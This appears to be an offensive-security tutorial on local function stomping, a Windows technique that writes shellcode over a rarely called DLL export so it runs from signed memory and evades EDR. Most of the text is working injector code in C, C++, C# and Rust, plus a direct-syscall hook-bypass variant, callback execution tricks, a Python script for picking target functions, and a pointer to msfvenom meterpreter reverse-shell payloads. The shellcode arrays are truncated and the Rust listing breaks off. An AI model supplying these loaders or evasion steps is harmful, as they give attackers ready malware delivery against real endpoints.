Legend:
[TECHNIQUE]= Core technique |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[COMPARE]= Comparison note
1. What Is Function Stomping?
What it means: Function Stomping is a shellcode injection technique where the bytes of a legitimate exported function (from a loaded DLL) are overwritten in-place with your shellcode. Instead of allocating new RWX memory with VirtualAlloc, you repurpose an already-existing memory region that belongs to a signed, legitimate Windows DLL. Execution is then triggered by calling or redirecting to that function.
Classic Injection: Function Stomping:
────────────────── ─────────────────
VirtualAlloc(RWX) LoadLibraryA("ieframe.dll")
└─ New anonymous RWX blob └─ Signed DLL loaded into process
WriteProcessMemory/memcpy GetProcAddress("IECreateFile")
└─ Shellcode copied in └─ Get address of rarely-used function
CreateThread(shellcode_addr) VirtualProtect(addr, RW)
└─ Suspicious: anonymous thread └─ Change protection on EXISTING region
└─ EDR: RWX alloc + anon thread! memcpy(addr, shellcode)
VirtualProtect(addr, RWX)
CreateThread(addr)
└─ Thread associated with legit DLL!
└─ EDR: thread in a signed module
Core principle: The shellcode lives inside a legitimate, disk-backed, signed DLL's memory — not in an anonymous heap blob. Memory scanners that flag unbacked/anonymous RWX regions are bypassed because the memory region is associated with a real DLL on disk.
MITRE ATT&CK:
- Technique:
T1055— Process Injection - Sub-technique: Closest to
T1055.001(Dynamic-link Library Injection) / overlaps withT1055.012(Process Hollowing) - Tactic: Defense Evasion, Privilege Escalation
2. Why Local Function Stomping?
The problem with classic injection:
Classic VirtualAlloc + CreateThread flow (detected by every modern EDR):
├─ VirtualAlloc(PAGE_EXECUTE_READWRITE) → Kernel callback fires
├─ memcpy(mem, shellcode) → WriteVM event logged
├─ CreateThread(shellcode_addr) → Thread from anonymous region
└─ EDR sees: RWX alloc → write → thread from non-module memory = ALERT 🚨
Why Function Stomping avoids this:
| Problem with Classic | Function Stomping Solution |
|---|---|
| New RWX anonymous memory allocation | Reuse existing signed DLL memory |
| Thread starts at anonymous address | Thread starts at legit function address |
| VAD (Virtual Address Descriptor) shows "Private" region | VAD shows "Mapped Image" (legit DLL) |
| Memory scanner flags unbacked RWX pages | Memory is "backed" by DLL on disk |
| Easy to detect with malfind/PE-sieve | Harder — memory appears legitimate |
Why LOCAL specifically:
Local function stomping operates entirely within your own process — no OpenProcess, no VirtualAllocEx, no cross-process APIs. This eliminates an entire category of inter-process injection IOCs that EDRs monitor aggressively.
Remote injection IOCs (all absent in local stomping):
❌ OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION)
❌ VirtualAllocEx()
❌ WriteProcessMemory()
❌ CreateRemoteThread()
3. How It Works — Step by Step
Step 1: Load a sacrificial DLL
──────────────────────────────
LoadLibraryA("ieframe.dll")
└─ DLL is mapped into process memory
└─ .text section: READ + EXECUTE (default)
└─ Contains many exported functions
Step 2: Locate a target function (the "victim function")
────────────────────────────────────────────────────────
GetProcAddress(hModule, "IECreateFile")
└─ Returns pointer to function bytes in .text
└─ This is where our shellcode will live
Step 3: Change memory protection to READWRITE
──────────────────────────────────────────────
VirtualProtect(addr, sizeof(shellcode), PAGE_READWRITE, &old)
└─ Memory was R+X → now R+W (not yet executable)
└─ This is the most suspicious API call (monitored by EDR)
Step 4: Overwrite function bytes with shellcode
────────────────────────────────────────────────
memcpy(addr, shellcode, sizeof(shellcode))
└─ Original function bytes are gone — stomped!
└─ Shellcode now occupies function's memory
Step 5: Change protection back to EXECUTE
──────────────────────────────────────────
VirtualProtect(addr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old)
└─ Or PAGE_EXECUTE_READ for less noise
Step 6: Execute the shellcode
──────────────────────────────
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL)
└─ OR cast to function pointer and call directly
└─ Thread appears to be running inside legitimate DLL
WaitForSingleObject(th, INFINITE)
Memory layout (before vs after):
BEFORE stomping (ieframe.dll!IECreateFile in memory):
0x7FFA1234ABCD: 48 89 5C 24 08 mov [rsp+8], rbx
0x7FFA1234ABD2: 48 89 74 24 10 mov [rsp+10], rsi
0x7FFA1234ABD7: 57 push rdi
0x7FFA1234ABD8: 48 83 EC 20 sub rsp, 20h
...
AFTER stomping (shellcode written over function):
0x7FFA1234ABCD: FC 48 81 E4 F0 cld / and rsp... ← shellcode bytes
0x7FFA1234ABD2: FF FF FF E8 D0 ...
0x7FFA1234ABD7: 00 00 00 41 ...
0x7FFA1234ABD8: 51 41 50 52 51 ...
...
Function address SAME. Contents: STOMPED.
4. Function Stomping vs Module Stomping vs Classic Injection
[COMPARE] Understanding the full family of stomping techniques:
4.1 Classic Injection (Baseline)
Classic Injection:
├─ API: VirtualAlloc → memcpy → CreateThread
├─ Memory type: Anonymous private RWX allocation
├─ Thread: Starts in anonymous (non-module) memory
├─ EDR noise: 🔴 VERY HIGH — detected by every modern EDR
└─ Status: Non-viable on monitored endpoints
4.2 Module Stomping (DLL Hollowing)
Module Stomping:
├─ API: LoadLibraryA → WriteProcessMemory/memcpy → CreateThread
├─ Target: Overwrites ENTIRE .text section of a loaded DLL
├─ Memory type: Backed by legitimate DLL → appears normal
├─ IOC: Entire DLL's .text section content doesn't match on-disk version
├─ Advantage: Thread runs inside a legitimate, signed DLL
├─ Disadvantage: Entire module is corrupted — DLL can't serve other functions
├─ Disadvantage: Still requires LoadLibraryA (detectable call)
└─ EDR noise: 🟢 LOW — memory forensics can detect mismatch with disk
4.3 Function Stomping (Local)
Local Function Stomping:
├─ API: LoadLibraryA → GetProcAddress → VirtualProtect → memcpy → CreateThread
├─ Target: Overwrites ONLY ONE FUNCTION's bytes inside a loaded DLL
├─ Memory type: Backed by legitimate DLL → thread associated with legit module
├─ Advantage: Module still functions — other exports work normally
├─ Advantage: Smaller footprint — only one function is "wrong"
├─ Advantage: No cross-process APIs needed (local only)
├─ Disadvantage: VirtualProtect on a mapped section is monitored
├─ Disadvantage: Shellcode must fit inside function's byte count
└─ EDR noise: 🟢 LOW — originally bypassed hollows-hunter (2022)
4.4 Quick Comparison Table
| Property | Classic Inject | Module Stomping | Local Func Stomping |
|---|---|---|---|
| New memory alloc | Yes (VirtualAlloc) | No | No |
| Affects entire DLL | N/A | Yes | No — 1 function only |
| Cross-process APIs | Yes (remote) | Optional | No (local only) |
| DLL stays functional | N/A | No | Yes |
| Thread origin | Anonymous | Legit DLL | Legit DLL |
| VAD type | Private | MappedImage | MappedImage |
| Disk-memory mismatch | N/A | Whole .text | One function |
| hollows-hunter | Detected | Often detected | Originally bypassed |
| EDR noise level | 🔴 Very High | 🟢 Low | 🟢 Low |
5. Target Function Selection
Choosing the right function to stomp is critical. Wrong choice = process crash or uncontrolled execution.
5.1 The Rules
Rule 1 — Shellcode must FIT inside the function:
Shellcode size must be ≤ function's byte count in .text section.
If your shellcode is 300 bytes but the function is 20 bytes → overflow → crash.
Solution: Pick functions known to be large, OR check function size programmatically.
Rule 2 — Function must NOT be actively called:
If the function is called by the OS or other threads while you're writing → crash.
✅ SAFE targets: Rarely-used/legacy functions in non-core DLLs
❌ AVOID: ntdll.dll exports (OS calls them constantly)
❌ AVOID: kernel32.dll / kernelbase.dll (high-frequency internal calls)
❌ AVOID: Any function your own loader calls during execution
Rule 3 — DLL must be loadable (not security-sensitive):
Some DLLs load hooks or have integrity checks on their .text.
✅ SAFE: ieframe.dll, winmm.dll, wininet.dll, user32.dll (rarely-used exports)
⚠️ CAUTION: ntdll.dll, amsi.dll (hooks present from EDR/AMSI)
5.2 Good Target DLLs and Functions
ieframe.dll — Internet Explorer frame (deprecated, rarely used):
Functions: IECreateFile, IEIsProtectedModeProcess, IELaunchURL
Why: Legacy IE DLL, functions infrequently called, large enough
winmm.dll — Windows Multimedia:
Functions: PlaySound, mciSendString, waveOutGetNumDevs
Why: Multimedia calls unlikely in most processes
wininet.dll — Windows Internet API:
Functions: DeleteUrlCacheGroup, FindCloseUrlCache, InternetGoOnline
Why: Large DLL, many rarely-called exports
user32.dll — User Interface:
Functions: CallMsgFilterA, SetDebugErrorLevel, GetDesktopWindow
Why: Many infrequently-called legacy exports
shell32.dll — Shell API:
Functions: SHGetMalloc, RealGetWindowClassA (for larger payloads)
Why: Legacy Shell functions, rarely called at runtime
5.3 Programmatic Function Size Check (Python — Pre-Attack Recon)
#!/usr/bin/env python3
# function_size_check.py — Check if a function is large enough for your shellcode
# Uses pefile to parse DLL and estimate function sizes via export table
# pip install pefile
import pefile
import sys
def get_export_functions(dll_path: str) -> list:
"""Get all exported functions with their virtual addresses."""
pe = pefile.PE(dll_path)
functions = []
if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
exports = pe.DIRECTORY_ENTRY_EXPORT.symbols
# Sort by address to estimate size from gap to next function
sorted_exports = sorted(
[(e.address, e.name.decode() if e.name else f"ordinal_{e.ordinal}")
for e in exports if e.address],
key=lambda x: x[0]
)
for i, (addr, name) in enumerate(sorted_exports):
if i + 1 < len(sorted_exports):
next_addr = sorted_exports[i + 1][0]
size = next_addr - addr
else:
size = 256 # Last function — estimate
functions.append((name, addr, size))
return functions
def find_suitable_function(dll_path: str, shellcode_size: int):
"""Find functions large enough to hold shellcode."""
functions = get_export_functions(dll_path)
print(f"[*] Scanning {dll_path}")
print(f"[*] Shellcode size: {shellcode_size} bytes")
print(f"[*] Total exports: {len(functions)}")
print()
print(f"{'Function':<50} {'VA':<12} {'Est. Size':<12} {'Fits?'}")
print("-" * 80)
suitable = []
for name, addr, size in functions:
fits = size >= shellcode_size
status = "✅ YES" if fits else "❌ NO "
print(f"{name:<50} {addr:#010x} {size:<12} {status}")
if fits:
suitable.append((name, addr, size))
print(f"\n[+] {len(suitable)} functions large enough for {shellcode_size}-byte shellcode")
if suitable:
print("\n[*] Recommended targets (largest first):")
for name, addr, size in sorted(suitable, key=lambda x: -x[2])[:5]:
print(f" {name}: ~{size} bytes")
# Usage:
shellcode_size = 300 # Size of your shellcode in bytes
find_suitable_function("C:\\Windows\\System32\\ieframe.dll", shellcode_size)
6. Core Implementation — C (Local Process)
6.1 Minimal Local Function Stomping (C — ieframe.dll/IECreateFile)
/*
* local_func_stomp.c
* Local Function Stomping Injection
* Target: ieframe.dll!IECreateFile (large, rarely called, legacy IE)
* Technique: Load DLL → GetProcAddress → VirtualProtect → memcpy → CreateThread
*
* Compile (MinGW):
* x86_64-w64-mingw32-gcc -O2 local_func_stomp.c -o stomp.exe \
* -s -ffunction-sections -fdata-sections \
* -fno-exceptions -fmerge-all-constants \
* -static-libstdc++ -static-libgcc
*
* Compile (MSVC):
* cl.exe local_func_stomp.c /Fe:stomp.exe /link
*/
#include <windows.h>
#include <stdio.h>
// ─── Replace with your shellcode ─────────────────────────────────────────────
// Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f c
// Or use a custom payload. Example below is a meow-meow messagebox (x64)
unsigned char shellcode[] = {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
// ... rest of shellcode ...
};
unsigned int shellcode_len = sizeof(shellcode);
// ─────────────────────────────────────────────────────────────────────────────
int main() {
PVOID addr = NULL; // Address of target function (stomped)
HMODULE h = NULL; // Handle to loaded DLL
HANDLE th = NULL; // Thread handle
DWORD old = 0; // Old page protection
// ── Step 1: Load the sacrificial DLL ─────────────────────────────────────
h = LoadLibraryA("ieframe.dll");
if (h == NULL) {
printf("[-] LoadLibraryA failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Loaded ieframe.dll at 0x%p\n", h);
// ── Step 2: Resolve target function address ───────────────────────────────
// IECreateFile: large, rarely called, legacy IE function
addr = (PVOID)GetProcAddress(h, "IECreateFile");
if (addr == NULL) {
printf("[-] GetProcAddress failed: %lu\n", GetLastError());
FreeLibrary(h);
return 1;
}
printf("[+] IECreateFile address: 0x%p\n", addr);
// ── Step 3: Make region READWRITE (remove execute temporarily) ───────────
// PAGE_READWRITE: allows memcpy to write shellcode bytes
// Don't go straight to RWX — some EDRs flag RWX on mapped images
if (!VirtualProtect(addr, shellcode_len, PAGE_READWRITE, &old)) {
printf("[-] VirtualProtect (RW) failed: %lu\n", GetLastError());
FreeLibrary(h);
return 1;
}
printf("[+] Memory protection changed to RW\n");
// ── Step 4: STOMP — overwrite function bytes with shellcode ──────────────
memcpy(addr, shellcode, shellcode_len);
printf("[+] Shellcode written to function address\n");
// ── Step 5: Restore execute permissions (RWX or RX) ──────────────────────
// PAGE_EXECUTE_READ (RX) is cleaner — shellcode usually doesn't need write
// PAGE_EXECUTE_READWRITE if shellcode modifies itself at runtime
if (!VirtualProtect(addr, shellcode_len, PAGE_EXECUTE_READWRITE, &old)) {
printf("[-] VirtualProtect (RWX) failed: %lu\n", GetLastError());
FreeLibrary(h);
return 1;
}
printf("[+] Memory protection changed to RWX\n");
// ── Step 6: Execute ───────────────────────────────────────────────────────
// Option A: CreateThread (thread appears to be in ieframe.dll)
th = CreateThread(
NULL, // Security attrs
0, // Default stack size
(LPTHREAD_START_ROUTINE)addr, // shellcode address (stomped func)
NULL, // No parameter
0, // Run immediately
NULL // Don't need thread ID
);
if (th == NULL) {
printf("[-] CreateThread failed: %lu\n", GetLastError());
FreeLibrary(h);
return 1;
}
printf("[+] Thread created, waiting...\n");
WaitForSingleObject(th, INFINITE);
CloseHandle(th);
return 0;
}
6.2 Alternative Execution — Direct Function Call (No CreateThread)
// After stomping, cast function pointer and call directly
// Avoids CreateThread (another monitored API)
#include <windows.h>
typedef void (*func_t)(); // Shellcode function type (void, no args)
// ... after VirtualProtect RWX step ...
// Cast function address to callable pointer
func_t stomped_func = (func_t)addr;
stomped_func(); // Call it — executes shellcode in current thread stack
// NOTE: Shellcode must not return in a way that crashes (add WaitForSingleObject
// or use a shellcode that properly handles its own thread lifecycle)
6.3 Execution via Callback (No direct call, no CreateThread)
// Trigger execution via EnumSystemLocalesA callback
// EnumSystemLocalesA calls your function for each locale — shellcode runs on first call
// ... after VirtualProtect + memcpy + VirtualProtect ...
// Cast the stomped address to LOCALE_ENUMPROCA callback type
// When EnumSystemLocalesA calls it, shellcode executes
EnumSystemLocalesA((LOCALE_ENUMPROCA)addr, LCID_INSTALLED);
// Other callback-based execution (all avoid CreateThread):
// EnumChildWindows(NULL, (WNDENUMPROC)addr, 0);
// EnumWindows((WNDENUMPROC)addr, 0);
// SetTimer(NULL, 0, 100, (TIMERPROC)addr);
7. Advanced Variant — Syscall-Based (NtProtectVirtualMemory)
[OPSEC] Using direct syscalls avoids user-mode API hooks placed by EDR on VirtualProtect. This is the stealthier approach.
7.1 Why Syscalls?
VirtualProtect → kernel32.dll → calls NtProtectVirtualMemory in ntdll.dll
↑
EDR hooks this via inline hook / IAT hook
EDR sees: RWX permissions on mapped section → ALERT
Solution: Call NtProtectVirtualMemory DIRECTLY via syscall instruction
Skip the hooked user-mode code entirely
EDR hook never fires → permission change unobserved
7.2 Manual Syscall (x64 NASM / Inline ASM — Hell's Gate Approach)
/*
* syscall_stomp.c — Function stomping using direct syscalls
* Avoids EDR hooks on VirtualProtect in ntdll.dll
*
* Step 1: Find SSN (System Service Number) for NtProtectVirtualMemory
* Step 2: Call via inline assembly (syscall instruction)
*/
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// ─── NT syscall wrapper ──────────────────────────────────────────────────────
// NtProtectVirtualMemory signature
typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
// ─── Hell's Gate / Halo's Gate: Get SSN from ntdll ─────────────────────────
WORD get_syscall_number(LPCSTR func_name) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll) return 0;
PBYTE func = (PBYTE)GetProcAddress(ntdll, func_name);
if (!func) return 0;
// x64 syscall stub: mov r10, rcx / mov eax, <SSN> / syscall / ret
// Pattern: 4C 8B D1 B8 xx xx 00 00 0F 05 C3
// At offset 4: mov eax, <SSN> → 2-byte SSN at offset 4+1
for (int i = 0; i < 32; i++) {
// Check for syscall stub pattern: "mov eax, SSN"
if (func[i] == 0xB8) { // mov eax, ...
WORD ssn = *(WORD*)(func + i + 1);
return ssn;
}
// Handle JMP (hook) — Halo's Gate: look at nearby functions
if (func[i] == 0xE9) { // jmp (hook detected!)
// Find nearby unhooked function and infer SSN ± 1
// (Advanced — see Halo's Gate technique)
break;
}
}
return 0;
}
// ─── Raw syscall trampoline (x64 assembly) ───────────────────────────────────
// This is a minimal syscall stub — sets EAX to SSN, executes syscall instruction
NTSTATUS syscall_NtProtect(WORD ssn, HANDLE hProcess, PVOID* addr,
SIZE_T* size, ULONG newProt, ULONG* oldProt) {
NTSTATUS status;
__asm__ volatile (
"mov r10, rcx\n\t" // First arg → r10 (syscall calling conv)
"movw ax, %[ssn]\n\t" // SSN → eax
"syscall\n\t" // Invoke syscall
"mov %[ret], eax\n\t" // Capture NTSTATUS return
: [ret] "=r" (status)
: [ssn] "r" (ssn)
: "rax", "r10", "memory"
);
return status;
}
int main() {
// ── Get SSN for NtProtectVirtualMemory ────────────────────────────────────
WORD ssn_prot = get_syscall_number("NtProtectVirtualMemory");
if (!ssn_prot) {
printf("[-] Failed to resolve NtProtectVirtualMemory SSN\n");
return 1;
}
printf("[+] NtProtectVirtualMemory SSN: 0x%04x\n", ssn_prot);
// ── Load DLL and resolve function ─────────────────────────────────────────
HMODULE h = LoadLibraryA("ieframe.dll");
PVOID addr = (PVOID)GetProcAddress(h, "IECreateFile");
// ── Syscall to change protection (bypasses EDR hook) ─────────────────────
ULONG old_prot = 0;
SIZE_T region_size = sizeof(shellcode);
// Change to RW via direct syscall — EDR hook on VirtualProtect bypassed!
NTSTATUS status = syscall_NtProtect(
ssn_prot,
GetCurrentProcess(), // -1 (pseudo-handle)
&addr,
®ion_size,
PAGE_READWRITE,
&old_prot
);
if (status != 0) {
printf("[-] NtProtectVirtualMemory (RW) failed: 0x%08X\n", status);
return 1;
}
// ── Write shellcode ───────────────────────────────────────────────────────
memcpy(addr, shellcode, sizeof(shellcode));
// ── Change to RX via syscall ───────────────────────────────────────────────
region_size = sizeof(shellcode);
syscall_NtProtect(ssn_prot, GetCurrentProcess(), &addr,
®ion_size, PAGE_EXECUTE_READ, &old_prot);
// ── Execute ───────────────────────────────────────────────────────────────
HANDLE th = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
WaitForSingleObject(th, INFINITE);
return 0;
}
7.3 Using SysWhispers3 for Cleaner Syscalls
# [TOOL] SysWhispers3 — auto-generate syscall stubs
# GitHub: https://github.com/klezVirus/SysWhispers3
# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip3 install .
# Generate stubs for NtProtectVirtualMemory
python3 syswhispers.py \
--functions NtProtectVirtualMemory,NtCreateThreadEx,NtWriteVirtualMemory \
--out-file syscalls \
--method jumper # Egg-hunting jump technique (OPSEC)
# --method embedded # Embedded trampoline
# --method jumper-randomized # Randomized jump order
# Output: syscalls.h + syscalls.c + syscallsstubs.asm
# Include in your project:
#include "syscalls.h"
# Usage in code after including:
NtProtectVirtualMemory(GetCurrentProcess(), &addr, ®ion_size,
PAGE_READWRITE, &old_prot);
8. C++ Header-Based Implementation (Idov31 Style)
[TECHNIQUE] The original FunctionStomping technique by Idov31 — works for both local and remote process injection. The local variant stomps a function in the current process without requiring a target PID.
8.1 functionstomping.hpp (Condensed Local Version)
/*
* functionstomping.hpp — Local function stomping in C++
* Inspired by: https://github.com/Idov31/FunctionStomping
* Blog: https://idov31.github.io/2022-01-28-function-stomping/
*
* Usage:
* #include "functionstomping.hpp"
* int main() { LocalFunctionStomp(); }
*/
#pragma once
#include <windows.h>
#include <tlhelp32.h>
#include <string>
#include <vector>
#include <stdexcept>
// ─── Configuration ─────────────────────────────────────────────────────────
// Replace with your shellcode
const char shellcode[] = "\xfc\x48\x81\xe4..."; // ... shellcode bytes
const SIZE_T shellcode_size = sizeof(shellcode) - 1;
// DLL to load as sacrificial module + function to stomp
const std::string TARGET_DLL = "ieframe.dll";
const std::string TARGET_FUNCTION = "IECreateFile";
// ─── PE helper: get function size from export table ─────────────────────────
SIZE_T GetFunctionSize(HMODULE hModule, const std::string& funcName) {
// Parse PE to find function + next function address gap
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(
(BYTE*)hModule + dosHeader->e_lfanew);
DWORD exportRVA = ntHeaders->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(
(BYTE*)hModule + exportRVA);
DWORD* names = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
WORD* ordinals = (WORD*) ((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
DWORD* functions = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
DWORD targetRVA = 0;
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
const char* name = (const char*)((BYTE*)hModule + names[i]);
if (funcName == name) {
targetRVA = functions[ordinals[i]];
break;
}
}
if (!targetRVA) return 0;
// Find next function's RVA to estimate size
DWORD nextRVA = MAXDWORD;
for (DWORD i = 0; i < exportDir->NumberOfFunctions; i++) {
if (functions[i] > targetRVA && functions[i] < nextRVA)
nextRVA = functions[i];
}
return (nextRVA == MAXDWORD) ? 256 : (nextRVA - targetRVA);
}
// ─── Core stomp function ────────────────────────────────────────────────────
bool LocalFunctionStomp() {
// Step 1: Load sacrificial DLL
HMODULE hModule = LoadLibraryA(TARGET_DLL.c_str());
if (!hModule) {
OutputDebugStringA("[-] LoadLibraryA failed");
return false;
}
// Step 2: Resolve function address
PVOID funcAddr = (PVOID)GetProcAddress(hModule, TARGET_FUNCTION.c_str());
if (!funcAddr) {
OutputDebugStringA("[-] GetProcAddress failed");
FreeLibrary(hModule);
return false;
}
// Step 3: Check function is large enough for shellcode
SIZE_T funcSize = GetFunctionSize(hModule, TARGET_FUNCTION);
if (funcSize < shellcode_size) {
// Function too small — shellcode won't fit, pick a larger function
OutputDebugStringA("[-] Function too small for shellcode");
FreeLibrary(hModule);
return false;
}
// Step 4: Change protection to RW
DWORD oldProtect = 0;
if (!VirtualProtect(funcAddr, shellcode_size, PAGE_READWRITE, &oldProtect)) {
OutputDebugStringA("[-] VirtualProtect (RW) failed");
FreeLibrary(hModule);
return false;
}
// Step 5: Overwrite (stomp) the function with shellcode
RtlCopyMemory(funcAddr, shellcode, shellcode_size);
// Step 6: Restore executable permissions
if (!VirtualProtect(funcAddr, shellcode_size, PAGE_EXECUTE_READ, &oldProtect)) {
OutputDebugStringA("[-] VirtualProtect (RX) failed");
FreeLibrary(hModule);
return false;
}
// Step 7: Execute shellcode via the stomped function
HANDLE hThread = CreateThread(
NULL, 0,
(LPTHREAD_START_ROUTINE)funcAddr,
NULL, 0, NULL
);
if (!hThread) {
OutputDebugStringA("[-] CreateThread failed");
FreeLibrary(hModule);
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
// ─── Usage ────────────────────────────────────────────────────────────────────
// #include "functionstomping.hpp"
// int main() {
// if (!LocalFunctionStomp()) { /* handle error */ }
// return 0;
// }
9. C# / .NET Implementation
/*
* FunctionStomp.cs — Local Function Stomping in C#
* Inspired by RastaMouse's C# module stomping blog post
* Blog: https://offensivedefence.co.uk/posts/module-stomping/
*
* Compile: csc.exe /unsafe FunctionStomp.cs
* Or: dotnet build
*/
using System;
using System.Runtime.InteropServices;
class FunctionStomp
{
// ─── Win32 P/Invoke declarations ─────────────────────────────────────────
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr LoadLibraryA(string lpLibFileName);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
// Memory protection constants
const uint PAGE_READWRITE = 0x04;
const uint PAGE_EXECUTE_READ = 0x20;
const uint PAGE_EXECUTE_READWRITE = 0x40;
// ─── Shellcode (x64 reverse shell or custom payload) ─────────────────────
static byte[] shellcode = new byte[] {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff,
// ... rest of shellcode bytes ...
};
static void Main(string[] args)
{
Console.WriteLine("[*] Local Function Stomping — C# PoC");
// Step 1: Load sacrificial DLL
IntPtr hModule = LoadLibraryA("ieframe.dll");
if (hModule == IntPtr.Zero)
{
Console.WriteLine($"[-] LoadLibraryA failed: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"[+] ieframe.dll loaded at: 0x{hModule:X}");
// Step 2: Get function address
IntPtr funcAddr = GetProcAddress(hModule, "IECreateFile");
if (funcAddr == IntPtr.Zero)
{
Console.WriteLine($"[-] GetProcAddress failed: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"[+] IECreateFile at: 0x{funcAddr:X}");
// Step 3: Change protection to RW
uint oldProtect;
bool vpResult = VirtualProtect(funcAddr, (UIntPtr)shellcode.Length,
PAGE_READWRITE, out oldProtect);
if (!vpResult)
{
Console.WriteLine($"[-] VirtualProtect (RW) failed: {Marshal.GetLastWin32Error()}");
return;
}
// Step 4: Copy shellcode over function bytes
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
Console.WriteLine($"[+] Shellcode written ({shellcode.Length} bytes)");
// Step 5: Change to PAGE_EXECUTE_READ
VirtualProtect(funcAddr, (UIntPtr)shellcode.Length,
PAGE_EXECUTE_READ, out oldProtect);
// Step 6: Execute via CreateThread
uint threadId;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr,
IntPtr.Zero, 0, out threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine($"[-] CreateThread failed: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine($"[+] Thread created (ID: {threadId}), waiting...");
WaitForSingleObject(hThread, 0xFFFFFFFF); // INFINITE
Console.WriteLine("[+] Done.");
}
}
10. Rust Implementation
[TECHNIQUE] Rust is increasingly used for offensive tooling — no MSVCRT dependency, clean binary, harder to reverse.
/*
* local_func_stomp/src/main.rs
* Local Function Stomping in Rust
*
* Cargo.toml dependencies:
* [dependencies]
* windows = { version = "0.52", features = [
* "Win32_System_LibraryLoader",
* "Win32_System_Memory",
* "Win32_System_Threading",
* "Win32_Foundation",
* ]}
*/
use windows::{
core::PCSTR,
Win32::{
Foundation::{CloseHandle, BOOL, HANDLE},
System::{
LibraryLoader::{FreeLibrary, GetProcAddress, LoadLibraryA},
Memory::{VirtualProtect, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS, PAGE_READWRITE},
Threading::{CreateThread, WaitForSingleObject, INFINITE},
},
},
};
use std::ptr;
// ─── Shellcode payload ────────────────────────────────────────────────────────
// Replace with your actual shellcode
static SHELLCODE: &[u8] = &[
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff,
// ... shellcode bytes ...
];
fn main() {
println!("[*] Local Function Stomping — Rust");
unsafe {
// ── Step 1: Load sacrificial DLL ─────────────────────────────────────
let dll_name = b"ieframe.dll\0";
let h_module = match LoadLibraryA(PCSTR(dll_name.as_ptr())) {
Ok(h) => h,
Err(e) => {
eprintln!("[-] LoadLibraryA failed: {}", e);
return;
}
};
println!("[+] ieframe.dll loaded at: {:?}", h_module);
// ── Step 2: Resolve target function ──────────────────────────────────
let func_name = b"IECreateFile\0";
let func_addr = match GetProcAddress(h_module, PCSTR(func_name.as_ptr())) {
Some(f) => f as *mut u8,
None => {
eprintln!("[-] GetProcAddress failed");
let _ = FreeLibrary(h_module);
return;
}
};
println!("[+] IECreateFile at: {:p}", func_addr);
// ── Step 3: Change to RW ──────────────────────────────────────────────
let mut old_protect = PAGE_PROTECTION_FLAGS(0);
if VirtualProtect(
func_addr as *mut _,
SHELLCODE.len(),
PAGE_READWRITE,
&mut old_protect,
).is_err() {
eprintln!("[-] VirtualProtect (RW) failed");
let _ = FreeLibrary(h_module);
return;
}
// ── Step 4: Stomp — write shellcode ──────────────────────────────────
ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), func_addr, SHELLCODE.len());
println!("[+] Shellcode stomped into function ({} bytes)", SHELLCODE.len());
// ── Step 5: Change to RX ──────────────────────────────────────────────
VirtualProtect(
func_addr as *mut _,
SHELLCODE.len(),
PAGE_EXECUTE_READ,
&mut old_protect,
).expect("VirtualProtect (RX) failed");
// ── Step 6: Execute ────────────────────────────────────────────────────
// Transmute function pointer and create thread
let thread_fn: unsafe extern "system" fn(*mut std::ffi::c_void) -> u32 =
std::mem::transmute(func_addr);
let h_thread = CreateThread(
None,
0,
Some(thread_fn),
None,
windows::Win32::System::Threading::THREAD_CREATION_FLAGS(0),
None,
).expect("CreateThread failed");
println!("[+] Thread created, waiting...");
WaitForSingleObject(h_thread, INFINITE);
